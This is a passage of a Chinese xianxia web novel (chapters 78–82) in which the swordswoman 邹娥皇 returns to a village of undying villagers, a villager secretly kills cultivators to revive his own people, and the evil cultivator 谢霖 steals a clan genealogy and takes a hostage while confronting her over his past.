尹月搅了搅手中红绫,浑不在意地乜了一个媚眼,“你又偏题了。” 她不是尹芝青度越蓬盛这类的小年轻,会被几句话动摇。在一个成熟的修士眼里,只看结果,不问过程,如果没有一个宴霜寒的话,就是牺牲一百万个凡人,有用么。说到底还是那句老话,打铁还需自身硬。 凡人比起修士,可怜。 可是凡人的可怜,难道就是修士造成的么。 修士和凡人一样,也只是人而已。划分了三六九等的不是制度,而是背景,是天道要让一部分生出灵脉,一部分堵塞灵脉。 “没偏题,”邹娥皇挠了挠头,然后解释道:“就是因为我比一般修士要多了解凡人一点,在接下来的几天里,我才成功地混进了他们内部,我教他们如何将砖块砌在一起,如何造房子。有了火与房子,那些村民在晚上的时候,就真的没有围在了那一口井前了。” 越蓬盛听得有些入迷了,往前一动椅子,结果不小心碰到了什么,身后发出一阵锅碗瓢盆的声响儿,抬着烛火去看,才发现是一堆供奉用的东西倒了。 但好在没跌碎什么。 众人也就没甚在意。 “他们不去看那口井,于是我就有了机会。” “我在一日晚上,终于得了空儿,偷偷摸摸地溜了过去,去看那井里的海。” “师伯,难道你当时就发现了那井有什么问题么?”越蓬盛呼吸一滞,前所未有地崇拜起了邹娥皇。 “想哪去了,”邹娥皇连连摆手。 “我去是因为,”邹娥皇慢吞吞道:“我想合个影,好歹也算是来过这四大海之一,再等下一次机会,就又要是七十年后了。” “不过,诚如你们想的一样。” “幻海天那口井有古怪。” 邹娥皇平静道:“在那里,我得到了不死神木。” “不死神木!” 尹芝发出一声惊呼,绕了这么久的话题,终于点到了正题。 “不是不死神木,是不死神木的种子,”邹娥皇纠正道。 “那天我记得是伸手不见五指的黑哇,我当时修为和越蓬盛差不多,并没有在秘境里也能打出火的实力,只能拿着最简陋的照明灯,微微点亮前面的路。” “后来我大脑有一阵是空白的。” 邹娥皇抬头环视一圈,然后诚恳道:“所谓空白就是,我想不起来我怎么在那里拿到了不死神木的种子,我只知道当我恢复意识地时候,我手里已经有了那颗种子。” “这种手段,若不是你得到了不死神木的种子的话,说出去倒像是试炼,”尹月沉吟道。 有些大能身死道消之前,怕自己后继无人,便会留下一些传承,等待有缘人开启。 倘若有缘人成功了,那么便保留记忆,得到秘法。倘若失败了,那不过也就是镜花水月一场空。 “然后在那口井前,我被人拦住了。” “是一群鬼谷的人。前面说过的哈,我和天机子两个人就是被他们逼着进了这个村落,然后好巧不巧,又在彼时被他们找到了,当时我手里就捏着种子,摆明了到手的鸭子就要飞了。” “但我不信邪。” 邹娥皇说。 “我信只要跑得快,就没有人能追的上你。结果好巧不巧的时,逃跑的时候就撞上天机子了。” “结果当时那个傻小子还在给翠儿描丹青,我大喊说要赶紧跑的时候,他落了个耳空,结果就被赶来的鬼谷众人围着削。” “然后后半个月里,我隔三差五地回趟村子,其余时间里就在东躲西藏。” 讲到这里的时候,似是意识到了接下来的故事再怎么修饰也不会体面,邹娥皇干脆停住了。 “好了,我知道的都说了。” 她掀了掀眼皮,“现在一个时辰换一个人守夜,蓬莱的人守在前门,七彩阁的人守在后门,都打起精神来,别被旁人算计了。” 秘境里千算万算最难算的,还是人心。 一点马虎都不得。 次日,丑时,天色微亮。 越蓬盛替谦立延起来守夜。 他刚打了几声哈欠,就忽然听见了一阵细碎而杂乱的脚步声,还有十几声兴奋的呼叫。 昨夜里还安静无息的村落,霎时间变得热闹喧腾,一行人哐哐地蹲在院门前砸。 “女仙!” “你给俺们开开门,翠儿那丫头都和俺们说了,你回来了——” “女仙,你得见见俺们啊——你当初教的东西,俺们都学会了,烛台也造出来了,女仙——” 越蓬盛废力地顶着柴门,怎料背后的木门只在里面栓了一道木条,连带着他险些就要被狂热的村民们冲散了架。 被晃得头晕脑胀的越蓬盛,根本没听清楚门外那群人在鬼哭狼嚎着什么,只是下意识地先挺住了。 颠簸里,他不经意地一瞥屋内,然后愕然,盯着那供奉在墙壁中间的画像。 是一个舞剑的女子。 脸蛋椭圆,眼成杏状,身段也被那一把宽大的剑衬得轻盈纤细。 “师伯?!” 这供奉的画像上的人,怎么会是他师伯。 越蓬盛这一怔愣不要紧,浑身气力倒没了,外面的人一下子就冲了进来。而屋里的十来个人,却是刚醒,睡眼朦胧。 再加上打了一晚上的地铺,腰酸背痛,不在少数。 邹娥皇也是这睡眼朦胧里的一个。 “大壮?” 她不确定地问道。 “是俺,仙人,你总算回来了”被邹娥皇叫做大壮的村民瘦高瘦高的,鼻涕和眼泪一块儿哗啦啦地淌。 这些生活在秘境的村人并没有出去过,因此他们不知道,被他们供奉起来的、当初那个一剑落九天的邹女仙,在岁月的长河里,也曾是连剑都拔不出的废人。 或许他们知道了,供奉的画像上也仍然会是那个仙女。 因为她是唯一一个进来告诉他们,五谷杂食,耕织,如何变得更体面 那么多个年少轻狂的侠气仙人都建议过他们乔迁出去,一拍胸脯哪怕秘境塌了也不要紧,只有这个眼睛大的女修,一把手一把手地教他们。 天机子从不是个例。 但是邹娥皇是。 既然一切都无法改变了,不如在能力有限的范围内活的更好吧。 五千年前,邹女仙,如是说。 第79章 宋成啊,当个好人。 站在众人面前的这个瘦高瘦高的、被邹娥皇唤作大壮的青年人就是这个村子里的村长。 一进屋里, 大壮的视线就掠过了邹娥皇手边的那把显眼的黑剑。 他情不自禁地震颤了一下。 大壮曾经是怕过剑的。 不过话说回来,谁能不怕一把吹毛断发的宝剑呢。 在大壮小的时候,他没见过剑, 他只见过村口一年一度戏台上,那些演着仙人的戏子,将一把软剑舞的如雷似电,虎虎生威。 那个时候, 大壮还不怕。 那个时候,他比较怕刀,村里每逢杀鸡宰牛的时候, 都是一把寒光凌冽的刀立在木墩上, 然后屠夫手起刀落,就是一地的鲜血淋漓,平日里趾高气昂的家畜, 也会在那一刹那尸首分离。 可是后来大壮才发现, 刀是杀畜生的,而剑是捅人的。 在剑下, 人和畜生无异。 于是大壮第一次见到邹娥皇的时候, 其实很怕的。 没有他高的少女,却背了一把七尺的长剑。 如果一不小心,让剑压倒了,又算谁的? 思绪回笼,听到耳边邹娥皇那声尴尬的咳嗽, 大壮吸溜了一下鼻涕,将篮子里带来的土鸡蛋磕了个皮儿出来, 剥完皮儿就硬塞到了邹娥皇手里。 “仙人,您多吃点, 这么久不见,都瘦了!” 角落里,越蓬盛目光瞅着那土鸡蛋几乎要攒出火星来。他嘴角默默地抽动了下,不是、等等、这个村落里怎么会有鸡啊。 在越蓬盛印象里,这些不死不灭的村民,应该是和魂体无异的状态,根本不需要吃喝,更别提养只鸡了。 结果现在一看,又有猴又有鸡真是比外面的人还像是人哈。 邹娥皇接着光溜溜的鸡蛋,脸上烧得通红,环顾了一圈涌着进来的一群村民,道:“我听说” 邹娥皇不知道怎么开口。 在她离开幻海天之前,她认识的这群村民其实一直都是正常的模样,除了个别会有些不正常的行为,比如小翠的自闭症,大家伙晚上的梦游但是大部分情况下都是正常的。 最起码她离开幻海天之前,并不晓得这群人能不死不灭。 所以等她再次进入幻海天之后,她提醒蓬莱众人警惕这些村民的时候,她其实已经把这些村民陌生看待了。 可是昨日,邹娥皇看见熟悉的小翠。 心里的一角就已经慢慢地软了。 “仙人听说什么了?”大壮把鸡蛋往邹娥皇手里塞。 他的手掌是温热的,不像小翠。 邹娥皇于是一下子脱口而出:“我听说你们不死不灭!” 此言一出,房间里一片寂静,叽叽喳喳的村民们不动了,而蓬莱与七彩阁的人则是神情突变。 亲师伯咧,这是能说的吗? 好在大壮面色如常,连呼吸都没乱一下,只是苦笑道:“哪里听说的仙人,修士都不能不死不灭,何况我们这些不能修炼的凡人呢。只是一个人被外面的人捅了下,最后活了,他们就以讹传讹,传到最后传得这么厉害了。” 邹娥皇慢吞吞地哦了一声,她抬头认真地看着大壮的眼睛。 这个乡里的青年,长了双凹陷的窝儿眼。 大壮被她盯得发愣,下一刻就听见邹娥皇问:“那么,被捅了一刀的是谁,现在伤养的怎么样了,有没有后遗症?” 大壮这个时候反倒神色僵住了。 其实刚刚有那么几秒,他以为邹娥皇要问,为什么这么多年过去村民还音容未改,或者是问他幻海天和不死神木的关系,再不济问他那些传言里的事情几桩真几桩假。 但是她没有。 面对着大壮破绽百出的一句话,邹娥皇没有拿起也没有放下,只是认真地问,是哪个村民被伤着了,痛不痛,要不要紧,是不是还活着。 就好像初见,不知他们身上种种蹊跷的她一样。 五千年啊。 怎么归来还能这样的平静与熟稔。 于是大壮的喉咙一下子就哑了,过了半响才寻回自己的声音,低笑着回道:“是隆子那小子,没什么事,有个不知道什么地方的修士,捅了这小子一刀,但是没事的仙人。” “俺们这里有草药特别管用,受了什么伤抹上也就好了,再加上那几日村民里给供奉的神坛磕足了头。” “隆子这小子福大命大,也就挺过来了,你瞧,他今天也在呢。” 邹娥皇顺着大壮的手指望过去,果不其然看见了一脸麻的隆子。 见她放了心,大壮就又哭嚎上了:“仙人,你不要光为我们担忧,你看看自己,你瘦了,你瘦了好多啊——到底是谁虐待了你!是不是有人不让你吃饭?你在俺们这里都是可以上族谱的人了,咋还有人不给你饭吃呢——” 真是越说越离谱。 就连青度嘴角也开始抽抽了。 倒是邹娥皇神色一正,又抓住了个关键词,“你们有族谱?” 大壮抹泪的动作一顿,被她这个问题弄得不知所措。 “当然啦,仙人,俺们这儿是正儿八经的大村子,怎么可能没有族谱啊!俺们不仅有,还记载的特别详实,连哪个祖上出过修真者都记过。” 哦? 邹娥皇心念一动。如果真的有这本族谱的话,或许她就能推出一二个这个村的秘密了,就从上一代死的人开始推起,是什么变故,让这些人的后代进入幻海天,成为不死不灭的凡人。 邹娥皇想了想又问道:“我能看看那本族谱吗?” “哎。” 大壮闻言一愣,但看着邹娥皇清浅的目光,最后还是硬着头皮应下了,“俺们早就把女仙当自己人了,女仙若是想看俺们的族谱,自然可行。” “俺这就去寺堂取来。” 一出小院,没走几步,方才背还佝偻着的大壮,身形一变,慢慢地变得挺拔。 黄泥洼洼的道上,铃铛轻巧地响起,和这铃音一起响起的,还有风鼓吹起衣角的飒飒声,大壮原本忠厚的双眼忽然变得机敏,他微微一眯,看见了一女子红衣潋滟,宛若韶韶牡丹般地立在道上。 青烟四起,两相对视。 大壮率先握紧了盘在腰间的弯刀。 然而那女子却先笑了。 尹月素手勾起大壮的下巴,笑吟吟地警告道:“我不是邹娥皇。” “你刚刚说的那些鬼话,恐怕也只有她肯信个十成十。” 什么寻医问药,什么神明庇护,都是假的。 尹月瞥了一眼大壮手臂上黑而婉转的花纹,哂笑着想,搞不好是邪门歪道在奏效。 “然而正因我不是邹娥皇。” “所以没有什么救世情怀。你只要不把手伸到不该伸的地方,不去害本阁主护着的人,我没兴趣在你的地盘同你作对。 ” 尹月说完就松手离开。 但刚走出两步,黑黝黝的大壮就扬着声冲着尹月喊道:“敢问阁主,你护的人里面,都是姓尹的么——” 尹月脚步一顿。 她素来雷厉风行惯了,哪怕面对着几位长老的突然发难不过也就是四两拨千斤,但此刻倒好像真的被这个问题问倒了一样。 “也不是。” 尹月想了想说,倒底没说那三个字的名字。 … 大壮拿起族谱的前一刻,摸着族谱上一个个人的名字,又想起了刚刚邹娥皇问起的事情,一直挂在脸上的笑意渐渐地消失了。 大壮曾经是怕过剑的。 真的。 他怕每一个剑修都像邹娥皇一样,眉弯眼笑,称兄道弟,拿着一柄威风凛凛的黑剑,可也只懂得劈柴,连杀猪都要犹豫一二。 那还要叫他怎么下得去手? 他连骗她都会觉得于心不忍。 但是后来,大壮不怕剑了。 因为苍天眷顾,大壮遇见了一把杀人剑。 彼时锋利的剑刃终于不用在割麦子身上,而是捅进了隆子的侧腰,艳红的鲜血喷了大壮一身。 大壮心神怡旷,心想,这才对嘛。 波光粼粼的井面,大壮看见自己笑了。 只听那光鲜亮丽的仙人对着旁边的伙伴哂笑,“我当是什么,你们说的那些长生不死也太吓人了,不过也就是白刀子进红刀子出罢了,区区凡人,怎能不死。” “嗐——” 吹嘘完的剑修转过头来,没被那剖开肚子的死人吓着,反被大壮带血的笑吓得后退了三步。 “你这鸟人,”剑修横眉竖目,“怎笑得这样吓人!” 这是这个年轻剑修说的最后一句话。 脸上带笑的大壮毫无预兆地徒然暴起,左手弯刀右手锁喉,只是刹那,年轻的剑修就一个踉跄,半跪在地,止了呼吸。剑修身旁的伙伴被吓傻了,捂着嘴发出了仓促的一声尖叫,下一刻也被一刀没过胸膛。 不消片刻,大壮脸上的血浆就又糊了两层。 他脚下,方才还没了鼻息的隆子脸色慢慢地恢复了血气。被大壮弯刀杀了的两个修士,则是一瞬间地灰败了下去。 就好像有一根看不见的线,在将两人的生机倒到隆子身上。 许久,隆子恢复了鼻息,缓慢地睁开眼看了看周遭血腥的一切,习以为常地捏着鼻子,神色如常地对大壮道:“这是第几个了,林子都快压不住了,下次少杀点。” 外界对于这个村落的很多传说都被神化了,真真假假只有当事人才知。不生不死,是谣言,可也不只是谣言。 一命总要一命偿。 这世上向来公道,无缘无故的死而复生,有时候要需要天材地宝加一个人竭尽心力,有的时候,只需要罪魁祸首的命。 毕竟这世上最贵的从来不是时间,是命。 没有白白复生的人,只有看不见的割喉一刀。 大壮曾经很怕剑的。 但众人搞错了,顶天立地的宋家庄大壮,怕的从不是杀人剑,而是君子剑。 杀人剑的剑芒再锋利,能照清的大壮也不过只是个阿谀逢迎的凡人。 而君子剑的剑芒下,大壮恍惚间却能看见一轮暖黄的圆月,在月下的幻海天不是一片荒芜,而是郁郁葱葱一片林,上了年纪的阿娘拍着他的肩,意味深长地跟他说: “宋成啊,当个好人。” “当个无心无愧的好人。” 好。 娘大壮在心里回答道:我会当个问心无愧的—— 好人。 第80章 该想好的人,是你。 大壮将族谱合上, 转身出门的时候,身后的两扇木门无风自合。大壮回头看了一眼,然后将锁挂上。 木门前, 屋檐下,他的面上一半是光,一半是影,明暗相交处, 只余了一个幽幽的笑。 谁也不知缘何会在这憨厚的脸上出现这样阴森的笑。 大壮抬脚一步步朝东走去。 白日下,婆娑的树有影子,起伏的屋檐有阴影, 独那晃晃悠悠的大壮, 背后身前,竟是什么都没有,好像这明亮的光直直穿透了他整个身体一样。 不, 还是有一小块阴影的。 光线穿过他的躯体, 投照下来了一块长条的影子,是被他夹在咯吱窝的族谱。 一炷香后, 人头攒动的院子里, 邹娥皇翻着大壮拿来的族谱,按着辈分一点点的往下推。 族谱上面的每代记载倒算详实。 最早能追溯到夏朝。 且这个村子的人都姓宋,一眼略过,其实并看不出什么错。 只是按照之前外界的那些推断来说,幻海天外从水草丰美之地变成一处荒芜, 至少是诞生出过一个了不得的大能的。 可是这本族谱里,被记载的修士大多只是筑基期, 顶头了就是十六代的时候出过一个元婴。 看邹娥皇翻得认真,大壮忽而出声。 “仙长看完了么, 没看完也不打紧,”他笑眯眯地指了指外面,然后对邹娥皇道:“俺们先去开荒地了,仙长有需要,叫一声俺们就回来了。” 这里的人居然还会开荒地? 越蓬盛有些稀奇。 他盯着这几个村民,发现他们行为举止无一不贴合外面正常的村头庄稼汉。但就是这样的正常在这幻海天里面,才是最大的不正常。 “且慢,”邹娥皇叫住大壮。 大壮停了停,只听邹娥皇叹气道:“叫了你们这么久的大壮、翠儿、隆子,竟忘了,这也只是你的小名而已。” 邹娥皇挠了挠头,笑得有些不好意思。 “你们大名也在这上面吗?” 大壮深深地看了邹娥皇一眼,然后半真半假地恼道:“仙长真会说笑,上族谱的哪有活人。” “俺叫宋成,成事儿的成。” 大壮几人走后,狭窄的地方才终于通气起来。 越蓬盛这才敢从邹娥皇手中接过族谱。 刚刚他倒是想看,但碍于大壮几人明摆着不待见除了邹娥皇之外的人,于是便没多此一举地伸手。 越蓬盛翻了几页。 冷不防地觉得有几页的厚度不大对劲。 他将族谱举过头顶,刚要看个究竟,大脑却忽地闪过一丝白光,下一秒手中空空如也,族谱已不见踪影。 周围一静。 “谁?!” 只听得一阵叶响,姜印容干脆一抬手,几丈外的杏树被打的噗噗落果,脆生生的果子跌到地上碎开了几瓣,就被从树上跳下的鞋底扎扎实实地碾成果泥。 被打下来的人压住了黑斗篷,分明已经被寒冰冻住了半条腿,却仍一声不吭,只是抱着族谱缩地成寸,飞快地向外移动。 又是嗖地一声,红绫一卷扯住了那人被冰打过略显僵硬的腿。四射飞扬的红绫此刻坚硬如铁,激起一地飞沙走石,然而黑斗篷的人不躲不避,只另只手血流如注往地上一甩,下一刻黑斗篷呆的地上就出现了个纹案诡异的血图。 邪修手段! 此刻再笨的人看看那黑斗篷只比床榻高不了多少的个子也反应过来了,若说邪修自然是不多的,个子矮成这样的恐怕也就那一位了。 只是谢霖,不是密州之后就归顺蓬莱了么。 所以 “你们蓬莱这是想搞个黑吃黑?” 尹月冷笑,她五指一拽。原本只有几丈宽的红绫骤然变成了一米长,像包粽子一样把谢霖包了起来,一层一层的红绫下,几乎可以视作尹月的个人领域,别说是一个元婴期,就是合道在这里恐怕也难逃。 然而就在众人都松了一口气的时候,异变突生—— 那鼓鼓的红绫突然干瘪了下去。 诡异的血图在光下浮现出了流动的血潭。 血潭流向不定,一圈又一圈地向外波动扩展,就像是雨天落下的雨点。 谁也不知道,它下一刻会突然出现在哪里。 青度看着这一幕,几乎是顷刻,她忽有一种不好的预感,心头狂跳。 刚刚尹月的那句话无疑是先把谢霖打成了蓬莱的人,不只是尹月,恐怕连越蓬盛这傻小子都是这么以为的,不然他不会上一秒还面如苦瓜,下一秒看清来人后呲牙笑得这么开心。 但是青度知道,谢霖当初填的归属不是蓬莱,是散修。 那么如果她是谢霖,要摆脱如今的困局,其实只有一个解了。 风不知何时又吹起。 一阵冰冷冷的铁面扣在青度脸上,浓厚的血腥味让青度几欲干呕。 挟持青度,一个身受重伤然位置举足轻重的人,就是目前谢霖最好的解。 或者说,谢霖不怕尹月,在场唯一让他觉得有威胁的人,其实是自刚刚起就一直沉默不语,单肩靠在门框旁的剑修——邹娥皇。 而现在,这沉默的剑修摸出了让见者沉默的剑,身移影随,挡在了此院唯一的出口处。 邹娥皇早年就说过谢霖疯。 可是谢霖从出场起,其实一直在走霉运。他手下没过几条亡魂,就先担了个邪画师的名头,最后晕乎乎地跟着她回了蓬莱,好像一直没怎么出过手。 于是众人便几乎要忘了邹娥皇的评价了。 甚至看谢霖的个子与模样,警惕心低的还把他当小孩看。 早忘了,这一位哪怕手下累累白骨是假,可元婴期邪修的身份确实真的。 不择手段也是真的。 “你要拦我?” 谢霖忌惮道,水润润的眼里隐隐浮现出血色。 邹娥皇因为黄平忠的事情,昨日并没休息好,加上在这个地方,修为也被压制的很厉害,所以尽管谢霖这两日并没有跟着她,但也看得出她脸上的倦色。 “邹娥皇,你要想好。” “我虽然打不过你,但是在这样的地方,我拼一条命,未必不能带走你们蓬莱未来的希望。” 谢霖的声音还是在密州时的嘶哑。 从百年前那场天火烧坏了他的嗓子后,小公子示人便一直是这样的声线了。 不再有孩童的天真无邪,不再有少年的意气风发。 只余一片火烧过的灰烬。 而邹娥皇仍在沉默,似乎并不把谢霖的话放在心上。 她只是看着谢霖,才惊觉,若以岁数论,抛开那张如玉的娃娃脸,单看斗篷下那些纵横交错、长短不一的伤疤谢霖好像,确实不能算小孩了。 只是她一直在当他是孩子罢了。 然而修真界,这样的地方,除了生便是死,一个砖头拍倒一片仇家,多的是苦大仇深的主角,怎么可能还有个百岁的孩子。 如果以谢家被灭为谢霖的人生分界点,那么前一半就是富贵骄人,后一半就是杀机四伏。 现在这个她一直以为没长大的人,走了条邪道的人,正挟持着青度,面色狠恶地要问她讨一条路。 “不,谢霖。” 于是这女剑仙终于出声:“该想好的人,一直不是我,是你。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 80-87 第81章 唇红齿白的小公子,笑得柔情蜜意 “你怎知我没想好。” 天忽地暗了。 秘境里向来是十二个时辰一晃昼夜, 并不存在什么阴天雨天,但此刻众人却无端地感觉到脸上有丝丝湿意,一摸, 才发现是猩红的血点。 谢霖低头立在那里,他身高不够,挟持着青度的时候,双脚还要离地一公分止。 血水就顺着那身飞起缭乱的黑行衣溅落在地上。 汇聚在谢霖脚下的血潭就像是有生命的游蛇, 然后舞动出纷杂的形状,从高处看,宛如几百朵簇拥着盛开的彼岸花枝。 邪修向来是以命搏路, 对别人狠, 对自己更狠,一般走到谢霖以身饲阵这一步的时候,基本上剩下的活路也就不多了。 寻常人到生死关头, 大约是要俱的。 唯独谢霖肩膀抖擞, 竟又放声地笑了起来。 凄厉的笑声响在邹娥皇耳畔,她闭了闭眼, 低头擦剑的手顿住了。 而其余人除了姜印容与尹月神色不变外, 多少都被这渗人的笑吓得心底一寒,大多都是蒙圈的——谢霖要这个族谱干什么,为了族谱挟持青度又有什么用。 须臾,滴滴答答的血水停了,那笑声才戛然而止, 谢霖一只手压着青度,一只手解开斗篷, 阴光渡过他的半边脸,唇红齿白的小公子, 正对邹娥皇笑得柔情蜜意。 “我知道你是怎么想的,邹娥皇。” “你觉得我把青度放下了,族谱交给你,这一切便可当作无事发生,你觉得我什么都没干,手上没沾人命,算得上回头不晚。” “可是,倘若我* 的手早就不干净了呢” 谢霖看着邹娥皇,扣着青度的铁面在不断的抖动。 他就那么看着邹娥皇,无泪无惧。 只有嘶哑的声音忽地带了一股蒲草的轻盈。 谢霖道:“百年前,你若救我出火海,蓬莱就对我有养恩和师恩,再加上一个你的救命之恩,谢家那狭恩以饲妖的生恩于我而言又算什么。” “可是你没有。” 他定定道:“百年前,若你干脆点,不在天火里庇护我,任由我和谢家化作一坛灰烬,让谢氏三绝尘归尘,土归土。那么我不必颠沛流离,成为四大邪修。” “可是你也没有。” “你救了我却不干脆,就像是谢家养了我却不育我。” 谢霖于是终于收了气,鼓起勇气问了那句在密州没有问完的话:“邹娥皇,我问你,一百年前,你是真的因为忘了,才没带走我吗?” 一百年前,谢霖睁眼哭喊着看雕梁画栋落得个锦绣灰,火海蔓延里小公子扒着脸上傩面,他想如果一炷香内,邹娥皇回来找他,他就跟她走。 当飞阁流丹付诸炬的时候,谢霖心想,如果火势停下之前邹娥皇回来找他,那么他和她还算是朋友。 而当最后,终年覆雪的谢城,最后只余灰烬的时候,谢霖看着未亮的天色,孤零零地坐在金圈里,最后想如果邹娥皇是他天亮前看见的第一个人,他就原谅她。 可是他等到天亮,看见的不是笑盈盈的姑娘,而是跌跌撞撞跑过来的家仆。 “少爷,少爷——谢家没了!大公子二公子都没了——大少奶奶也跑了——” “少爷——” 家仆的声音戛然而止,袖间一闪而过的白刀也被咣当落掉。 谢霖颤颤巍巍地松开了卡在家仆脖子上的手,将冰冷的尸体往旁边一丢,尸体砸地,发出砰地一声,惊起尘灰遮盖了谢霖的神情,他仰头,傩面下露出了一个失神的笑。 李千斛跑了。 于是谢霖也知道,邹娥皇不会再来了。 如今谢霖对着邹娥皇,语气已经变得肯定:“你来谢家,自始至终只是奔着李千斛去的,任务完成了,谢家灭了,多余的那一点不忍心留下了我,然而又不足以带着我上岛。” 越蓬盛终于听明白了,跟谦立延嘀咕道:“这居然是来翻旧账的,翻旧账就翻旧账,他翻走族谱有什么用。” 谦立延也小声:“我听说有些人心理不行,他家族谱没了,估计也见不得别人家有族谱。” 旁边的尹芝:… 怎么想都不可能是因为这么离谱的原因吧,啊喂! 她鄙视地看了一眼这俩人,又同情地看了眼被挟持的青度。 以前总听说蓬莱大师姐难,尹芝也只当平常,如今出来了,看见蓬莱这么几个二货,尹芝心里只剩了一个念头青度是真难啊。 谢霖挟持着青度,一步步向前,直到进无可进,几乎要顶到邹娥皇剑前的时候,他那双水润的杏眼才颤着落泪。 好疼、好疼。 身体被血图重构好疼,陈年撕裂的刀疤好疼。 好疼 “我没得选,邹娥皇。” 谢霖自语道:“我一直没得选,和想不想没有关系,从始至终,我能走的路也只有一条。” 谢家覆灭,外面的仇家不会放过他。 他要拜师,然蓬莱他谢霖不可能去,其他门派又不会收他这个烫手山芋,且门派之间收徒都是看年份的。 仙途缥缈,不只是四个字。 而现在,他也没得选,他那日并没有骗容有衡,他只要这个族谱,与蓬莱无关,他只要这个族谱,只有拿到了这个族谱,他才能、才能让… 谢霖能走的道,挑挑拣拣到最后,已经无路可走。 他是谢家的最后一个人,他去追求他的自由不假,但是他的身份和立场,天然地就摆脱不开天火燃尽的余灰。 百年来,当初那场浩大的天火其实从未息止,谢霖活着的每一个瞬间,呼出的每一口气,都是天火的余温。 …邹娥皇没有理会谢霖的质问。 其实已经很明显了,一件事情一开始或许会忘,然而把一个人丢在那里一百年,除了脑子被撞了挑不出第二个合理的理由。 邹娥皇脑子没被撞过。 自然也就不存在忘了。 众人只见她垂眸看着手上的剑,目光晦涩难辨。 有那么半响,邹娥皇才道:“杀了人,你的手就不干净了吗?” 谢霖的泪珠一滞,“你说什么?” “我问,一开始杀了人,谢小公子的手就不干净了么?” 邹娥皇闭眼,然后很缓很慢地说:“那倘若我告诉你,当初杀了那谢家家仆的人,不是你,是我呢?” “你、你什么意思——” 谢霖已然呆了,“你怎么知道我杀了一家仆” 余下的话还没脱出口,就先被他咬住了舌。 答案已然很明显了,谢霖怔愣道:“你那日在。” 邹娥皇不是没有回去。 邹娥皇回去了。 她事不关己高高挂起地围观了他痛苦的挣扎、愚蠢的等待、以及一念就灭的玲珑心。 “杀了人就不干净了么?” 邹娥皇分明是在问谢霖,然而她的眼睛始终平静地看着手上的黑剑。 “那家仆是谢家仇敌陈氏的人,他在你们谢府埋伏了三年,他那日本就是去杀你的,所以才会在袖间藏了白刃。” 邹娥皇继续道:“他是金丹大圆满,你当真以为你一个手无寸鸡之力的小公子,杀得了他么?换句话说,便是你杀了他又怎么样,他要杀你,你不杀他难道要死吗?” “谢霖,”邹娥皇的声音极其地沉。 “你当真无路可走吗?” “你出谢家一路上,在成为邪修之前,一共遇过四个仙门,但是你不肯改姓,不愿屈就,于是拒绝了旁人抛出的橄榄枝,继续南行,你遇见了一群邪修,遭人调戏,你愤愤挣扎,最后被路过的少侠救了。” “路过的少侠问你想要去哪里,说他可以护送你,你明面上答应,晚上卷走了人家的乾坤袋,拔腿就跑。” 谢霖颤着声:“那个少侠,也是你?” 邹娥皇颔首,“否则你以为,哪来的少侠能打倒三个邪修,却跌在你手下。” “后来我一直跟着你,跟着你,直到你主动扑倒在一个邪修膝下,说要学本事。” “和一个邪修学本事——” “学什么本事?是残害妇孺,还是杀敌一千自损八百。” “谢霖,我护送你一路,行迹遍布七个州,但我从未想过,这有惊无险的一路,最后竟要我眼睁睁地看着你跟一个邪修拜师。我从未想过,你苦思冥想的这些日子,最后就选了这么一条道。” 邹娥皇的语气听不见失望,始终只是平静的。 但是谢霖唇瓣抖动,泣不成声。 “你明明回来了你明明跟了我一路…” “你明明一百年前可以带走我!” “但你为什么” 肆意的泪水如崩断的珠子一般,从小公子的眼眶中一颗颗的蹦出。 “因为我记得,”邹娥皇终于回答了他的问题,“有一位姓谢的小少爷,曾经跟我说过,他厌倦了一个地方,他想出去看看,看万水千山,也看黎民风光,他想知道世界之大要几个谢家才盛得下。” “和谢家比,蓬莱不是囚牢。” “可和这天下十四州比,蓬莱是。” 语落,谢霖叩住青度的面具骤然一松。 但那本族谱却还在他手上。 “谢霖,我知道你要做什么。” 邹娥皇看着他,认真道:“我给你三个数的时间思考。” 邹娥皇知道? 谢霖卷着族谱的手忽地僵住了,她怎么会知道?她知道什么。 然而邹娥皇没有回应他的彷徨,她这次似乎是认真的,立起了三根手指头。 “我数到三——” 第82章 你谁 渡鸦盘旋, 猿猴低鸣。 与此同时,院子之外的村口,衰败堆灰的亭子, 那盘落了灰的棋盘流光溢彩,虚空中慢慢浮现出两道身影。 执黑棋先手的是位老者,白发苍苍,额头凸出;执白棋的是位一身病气的中年男人, 眉高过耳,帝王之相。 “与君千年一约,老夫已久等多时。” 老者微笑地起手, 定下了居中的一子。 “先生说笑了, ”中年男子道:“昔年我请道祖不过三次,请先生却十年不得一见。如今事随时迁,才得了这么一个和您面对面的机会。” “说久等的人, 该是我。” 白子紧跟黑子之后, 于西南方位定下。 棋子与棋盘相碰的瞬间,随后天边轰然迸发出一声响, 而两人面不改色似未闻。 …轰、轰、轰—— 数不清的细小刀痕在谢霖身上炸开, 密密麻麻的血汇聚在他身下,他脸色白到了一种透明的地步,青紫血管狰狞地凸显在他皮肤上。 “一。” 随着那一声爆炸声响起,深红的锁链就从血潭上飞起,密密麻麻地朝众人袭来, 所到之处,寸草不生。 “二。” 尹月骂了句该死, 十指一弹,数道红绫支着她平地起身, 一卷一个七彩阁弟子,扔出了院子。 这个关头,这些小辈们不是助力,是累赘。 越蓬盛有样学样,也拖着青度的后颈往外跑,姜印容抬手,冰河拔地起,将谦立延与越蓬盛一个滑铲送了出去。 方才还拥挤的院子,一下子只剩了四个人,谢霖、邹娥皇、姜印容、尹月。 但除了谢霖外,其余三人都没有动手,并用一种很怜悯的目光看着谢霖,以及那本被他抱在怀中的族谱。 谢霖总觉得自己把意图藏的很好。 但在场的这三位哪个不是走南闯北,什么稀罕物儿没见过的,就算认不出那是祭祀血潭,也该看出了谢霖浑身生机都涌入了那本族谱。 这看似浑身带毒的小邪修,别管目的是什么,反正于他自己都一样,放尽了狠话不过也就是求个自杀。 “三——” 邹娥皇起脚,点在姜印容起手的冰河上,杏叶发出婆娑声。谢霖闭着眼,青灰色的眼皮底下游走着不安的眼珠,从血潭处延展出的几百条锁链向上而生,变成了缜密的血墙,挡在了邹娥皇面前。 血墙蜿蜒,每一滴血落到地上的时候都发出了烧灼的声音,黄褐的土地不知道何时起已经变成了焦灰色,可想而知,若是被这血珠子碰上那么一下会有多么麻烦。 但是剑光并没有停下。 而是直直纵横出一道白色的雪光,斩断了这连绵的血墙,地面震荡,多出了十几丈深的裂沟。 “谢霖。” 邹娥皇的剑就压在他的胸口处,但是谢霖现在已经不能听到自己的心跳了,他的头一直仰着,好像这样软弱的泪水就不会落下。 被锁链托举到半空中的族谱一改刚刚灰扑扑的样子,变得光艳韶韶。 